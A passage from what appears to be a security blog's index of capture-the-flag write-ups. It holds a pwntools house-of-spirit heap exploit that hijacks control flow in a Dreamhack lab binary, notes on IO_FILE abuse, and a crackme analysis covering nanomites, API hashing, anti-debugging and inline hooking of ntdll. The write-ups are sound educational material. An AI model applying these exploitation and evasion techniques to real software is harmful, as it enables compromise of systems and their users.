that range or to specific address to hijack the execution flow)\nPoC First we create a fake tcache chunk in anywhere we could, for example our writable section or stack, then if we are able to control the free address and free that range we could put that chunk into a tcache and then reclaim it and we will have a wider writable region.\nFor example, program require us to type something and it is stored on stack and we somehow able to leak any stack address, we could calculate the offset and another somehow we able to adjust our free address, we could free that address.\nThis challenge only teach us how to get familar with house of spirit so it is programmed in the way that the bug is not trivial but deliberated\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #!/usr/bin/env python3 from pwn import * dir = \u0026#34;./vuln\u0026#34; exe = context.binary = ELF(dir, checksec=False) # libc = ELF(\u0026#34;./libc-2.31.so\u0026#34;) gdbscript = \u0026#34;\u0026#34;\u0026#34; b * 0x0000000000400A0F continue \u0026#34;\u0026#34;\u0026#34; def start(): if args.GDB: return gdb.debug([dir], gdbscript=gdbscript) if args.REMOTE: return remote(args.HOST, int(args.PORT)) return process([dir]) p = start() def free(addr): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) p.sendlineafter(b\u0026#39;Addr: \u0026#39;, str(addr).encode()) def malloc(data): p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;Size: \u0026#39;, str(len(data)).encode()) p.sendafter(b\u0026#39;Data: \u0026#39;, data) def exploit(): # Stage 1: setup tcache fake chunk payload = flat( p64(0), p64(0x40) ) p.sendafter(b\u0026#39;name: \u0026#39;, payload) stack_leak = int(p.recvline().split(b\u0026#39;: \u0026#39;)[0].decode(), 16) log.info(hex(stack_leak)) malloc(b\u0026#39;a\u0026#39;) # Stage 2: free and reclaim fake chunk free(stack_leak + 0x10) win = 0x0000000000400940 malloc(flat( b\u0026#39;A\u0026#39; * 40, p64(win) )) p.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) pass exploit() p.interactive() ","permalink":"https://ryouthecat.github.io/posts/note/dreamhackpwn/","summary":"\u003ch3 id=\"io_file-aw\"\u003eIO_FILE AW\u003c/h3\u003e\n\u003cp\u003eLink: \u003ca href=\"https://dreamhack.io/wargame/challenges/55\"\u003ehttps://dreamhack.io/wargame/challenges/55\u003c/a\u003e\u003c/p\u003e\n\u003ch4 id=\"description\"\u003eDescription\u003c/h4\u003e\n\u003cp\u003eThis challenge is a FSOP-related bug\u003c/p\u003e\n\u003cp\u003eThis challenge\u0026rsquo;s bug is not trivial, it is set up for learning purpose\nThe bug is basically programmed, we could overwrite the stdin which is the \u003ccode\u003e_IO_FILE\u003c/code\u003e libc\u0026rsquo;s struct\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003edest\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esrc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"nf\"\u003ememcpy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edest\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x40u\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eTake a look at the \u003ccode\u003e_IO_FILE\u003c/code\u003e struct\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_FILE\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_flags\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e       \u003cspan class=\"cm\"\u003e/* High-order word is _IO_MAGIC; rest is flags. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define _IO_file_flags _flags\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"cm\"\u003e/* The following pointers correspond to the C++ streambuf protocol. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"cm\"\u003e/* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_read_ptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"cm\"\u003e/* Current read pointer */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_read_end\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"cm\"\u003e/* End of get area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_read_base\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* Start of putback+get area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_write_base\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* Start of put area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_write_ptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* Current put pointer. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_write_end\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* End of put area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_buf_base\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"cm\"\u003e/* Start of reserve area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_buf_end\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e    \u003cspan class=\"cm\"\u003e/* End of reserve area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"cm\"\u003e/* The following fields are used to support backing up and undo. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_IO_save_base\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* Pointer to start of non-current get area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_IO_backup_base\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* Pointer to first valid character of backup area */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_IO_save_end\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* Pointer to end of non-current get area. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_marker\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_markers\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003e_IO_FILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_chain\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_fileno\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#if 0\u003c/span\u003e\u003cspan class=\"c\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e  int _blksize;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#else\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_flags2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#endif\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003e_IO_off_t\u003c/span\u003e \u003cspan class=\"n\"\u003e_old_offset\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* This used to be _offset but it\u0026#39;s too small.  */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define __HAVE_COLUMN \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* temporary */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"cm\"\u003e/* 1+column number of pbase(); 0 is unknown. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eshort\u003c/span\u003e \u003cspan class=\"n\"\u003e_cur_column\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003esigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003e_vtable_offset\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"n\"\u003e_shortbuf\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"cm\"\u003e/*  char* _save_gptr;  char* _save_egptr; */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003e_IO_lock_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e_lock\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#ifdef _IO_USE_OLD_IO_FILE\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eSo basically our concentrated fields are the first nine variable and the _fileno in this challenge\nAdditionally there is \u003ccode\u003e_IO_FILE_plus\u003c/code\u003e which is the structure of \u003ccode\u003e_IO_FILE\u003c/code\u003e and the struct IO_jump_t vtable which point to many native functions for example \u003ccode\u003e__write/__read\u003c/code\u003e and some essential function like \u003ccode\u003e__underflow\u003c/code\u003e or \u003ccode\u003e__overflow\u003c/code\u003e but we won\u0026rsquo;t take a look at those stuff in this challenge\u003c/p\u003e","title":"Dreamhack Pwn"},{"content":"Discussion Crackme9 Prologue: This is just my brief discussion about this challenge. I was not able to solve this challenge during the contest (I upsolved it later after doing some research and reading other player writeups)\nBasically the solution was about to analyze the logic of the serial checker. There are several techniques implemented in the binary such as Nanomites, Dynamic API Resolution, API Hashing, and many other small anti-debugging and anti-disassembly tricks. I will not dive into how to reverse this binary. My main focus is the obfuscation itself and other interesting anti reverse engineering techniques\nBefore dive into this challenge, I really appreciate Fatmike for creating such an amazing challenge\nSummary The binary is a serial checker that validates entered key and if it is correct, the flag will be displayed The secret validation algorithm is located in the .pc section which is encrypted and obfuscated The checker uses a weak hash algorithm, so we can attempt a brute-force attack to get the correct serial Analyze First of all the binary is stripped, so it is hard to spot the correct entry of the encryption routine\nThis program implements a minimalist GUI with an OK button. Moreover, there is a dialog for typing input. So we can place a breakpoint at GetDlgItemTextA or GetDlgItemTextW, and by inspecting the call stack we can find the checker function\nWe can find the validation function at 405399h\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __thiscall sub_405399(int this) { // truncated memset(String, 0, sizeof(String)); GetDlgItemTextA(*(HWND *)(this + 8), 1006, String, 255); if ( (unsigned __int8)sub_4030A5(String) ) { sub_4025EC(v14, String); sub_40268B(v14); sub_405724(v14); sub_402876(Src, (int)v16); hInstance = *(HINSTANCE *)(this + 4); sub_40515A(\u0026amp;v5, Src); sub_40574D(hInstance, 134, v5, v6, v7, v8, v9, v10); sub_404E89((LPARAM)dwInitParam, *(HWND *)(this + 8)); sub_4057DA(dwInitParam); sub_405724(Src); return sub_402781(v15); } else { hInstance_1 = *(HINSTANCE *)(this + 4); sub_4025EC(\u0026amp;v5, \u0026amp;unk_40B3CE); sub_40574D(hInstance_1, 136, v5, v6, v7, v8, v9, v10); sub_404E89((LPARAM)dwInitParam, *(HWND *)(this + 8)); return sub_4057DA(dwInitParam); } } sub_4030A5 is used to verify the serial. It calls the some init functions in the .pc section which are loc_40A000 and sub_40A025 respectively\nThe function at 40112Ch uses Dynamic API Resolution/Hashing\n1 2 3 4 5 6 7 8 9 int __thiscall sub_40112C(void *this, int a2, int a3, int n64, int a5) { int v5; // eax int (__stdcall *v6)(int, int, int, int); // eax v5 = sub_401367(this); v6 = (int (__stdcall *)(int, int, int, int))sub_401AD3(v5); return v6(a2, a3, n64, a5); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __thiscall sub_401AD3(int *this) { int v2; // eax int v3; // eax _BYTE v4[4]; // [esp+Ch] [ebp-10h] BYREF int v5; // [esp+10h] [ebp-Ch] int n268857135; // [esp+14h] [ebp-8h] int *this_1; // [esp+18h] [ebp-4h] this_1 = this; if ( !*(this + 5) ) { n268857135 = 0x10066F2F; v5 = *this_1; v2 = sub_401CA2(v4, 0x10066F2F); v3 = sub_401175(v2); this_1[5] = v3; } return this_1[5]; } By using HashDB to look up the CRC32 hash value, we can determine that it is VirtualProtect So the function at 04046C8h changes the memory protection attribute of the pc section to PAGE_EXECUTE_READWRITE\nAll of the important APIs are dynamically resolved. Fortunately the list is tiny, so we can manually patch it.\nThere is a struct used throughout execution which is initialized at 403DD2h\nThe function at 4046C8h is used to raise a breakpoint exception\n1 2 3 4 5 void __thiscall mw_do_breakpoint(_BYTE *this) { *(this + 1) = 1; __debugbreak(); } Alright, that is all we can explore while navigating around the binary. Nothing is special to inspect anymore\nBut if you try to recover the hashed API, you will find something really interesting. The challenge uses KiUserExceptionDispatcher which is an NTDLL native API, to implement some stuff\nLet\u0026rsquo;s talk more about this API. What I have known is that this function will resolve and dispatch the exception based on the priority, for example from Windows VEH (Vector Exception Handler through AddVectoredExceptionHandler) to SEH (Structured Exception Handler through __try __catch stuff). If none of them are registered, the program will crash.\nSo back to the binary, by examining all the cross-reference assosiated with the KiUserExceptionDispatcher function located at 040187A, you can find this interesting function\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __stdcall sub_402E5A(int a1, int a2, int a3, int a4, int a5) { int *v5; // eax char *debugger_detected; // eax int *kernel_imgbase; // eax int (__stdcall *v9)(int, int, int, int, int); // [esp+Ch] [ebp-8h] char *v10; // [esp+10h] [ebp-4h] int savedregs; // [esp+14h] [ebp+0h] BYREF v5 = sub_402BF1(); if ( overwrite_NtQueryInformationProcess(v5, (int)\u0026amp;savedregs) ) { debugger_detected = sub_402CAC(); // debugger detected overwrite_KiUserExceptionDispatcher(debugger_detected);// trigger the real KiUserExceptionDispatcher } else { v10 = sub_402CAC(); overwrite_the_API(v10, (int)custom_seh_handler, (int)\u0026amp;unk_40D24C); } kernel_imgbase = mw_get_kernel_imgbase(); v9 = (int (__stdcall *)(int, int, int, int, int))mw_api_CallWindowProcA(kernel_imgbase); return v9(a1, a2, a3, a4, a5); } There is an anti-debugging technique in the overwrite_NtQueryInformationProcess function using the ProcessDebugPort option. We can manually patch this to bypass.\nSo if no debugger exists, the program will trigger the overwrite_the_API function which is also a really interesting one\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void __thiscall overwrite_the_API(_BYTE *this, int custom_seh_handler, int a3) { int *kernel_imgbase; // eax void *base; // edi void *v6; // eax _BYTE trampoline[6]; // [esp+4h] [ebp-Ch] BYREF int three; // [esp+Ch] [ebp-4h] BYREF if ( !*this ) { kernel_imgbase = mw_get_kernel_imgbase(); base = (void *)mw_api_KiUserExceptionDispatcher(kernel_imgbase); three = 0; v6 = such_a_decoy(); mw_VirtualProtect(v6, (int)base, 6, 0x40, (int)\u0026amp;three); mw_memcpy(this + 1, 6u, base, 6u); trampoline[0] = 0x68; trampoline[5] = 0xC3; *(_DWORD *)\u0026amp;trampoline[1] = custom_seh_handler; if ( base ) { memcpy(base, trampoline, 6u); } else { *errno() = 22; invalid_parameter_noinfo(); } *this = 1; } } First of all, this function uses VirtualProtect to change the memory protection of ntdll text section to PAGE_EXECUTE_READWRITE. After that, the program uses a technique called inline hooking to create an indirect trampoline led to the custom structured exception handler. The author uses an assembly trick which is PUSH-RET to craft the trampoline. The byte 0x68 and 0x3C can be translated to PUSH and RET respectively, so the epilouge of the function looks like\n1 2 PUSH custom_seh_handler RET This is challenge\u0026rsquo;s custom exception handler\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __thiscall mw_exception_handler(obj *this, _EXCEPTION_RECORD *record, _CONTEXT *context) { if ( !this-\u0026gt;two ) { switch ( record-\u0026gt;ExceptionCode ) { case 0x80000003: exception_breakpoint_handler(this, context); break; case 0x80000004: exception_singlestep_handler(this, context); break; case 0x80000001: exception_guardpage_handler(this, record, context); break; } } } Sorry for the inconvenience that I would not dive into how I\u0026rsquo;m able to reverse this part, but in general, I was using x32dbg to debug, watching the memmory at runtime and guessing the function variables properties and rename them. Although, there is still some part that I didn\u0026rsquo;t understand, the challenge is totally solvable\nI would analyze this first, those other exception handlers are not much different\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __thiscall exception_breakpoint_handler(obj *this, _CONTEXT *context) { _CONTEXT *context_1; // edi _CONTEXT *context_2; // [esp-Ch] [ebp-10h] char *Eip; // [esp-8h] [ebp-Ch] if ( check_something((_BYTE *)this-\u0026gt;sixth) ) { inc_rip_n_flush((_CONTEXT *)\u0026amp;context); set_ctxflag((_CONTEXT *)\u0026amp;context); } else { context_1 = context; if ( check_eip_in_pc(this, context-\u0026gt;Eip) ) { calc_next_eip(this, context_1); Eip = (char *)context-\u0026gt;Eip; context_2 = context; this-\u0026gt;EIP = (int)Eip; decrypt_next_eip(this, context_2, Eip); } } return -1; } So in the set_ctxflag function, it resets some register and activates the Trap Flag for the single step exception.\ncalc_next_eip looks up the hard-coded mapping table to determine which jcc instruction each int 3 instruction should be translated to (the nanomites github has a deeper explaination)\nThe decrypt_next_eip function decrypts the next 0x10 bytes from the next EIP in the .pc section. It uses a custom ChaCha20 constant. The key is located at 0x0040D264 + 4, it is a SHA256 hash value of the whole .text section. This can be called an anti-tampering technique so that any software breakpoints or modifications like patching to the binary will break the accuracy of the key. Therefore, we can attach the program to the debugger later to extract the key safely\n1 2 3 key = \u0026#34;f630aa38d57297375d645559c334fd50d55ca1d177d2655a042351cf69244bf2\u0026#34; nonce = \u0026#34;0a0b0c0d0e0f1011\u0026#34; constant = \u0026#34;9e3779b97f4a7c15f39cc0605cedc834\u0026#34; Then we have enough information to decrypt the pc section. We can manually patch the section to analyze it statically now\nNow back to the dispatcher function at 404166h\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 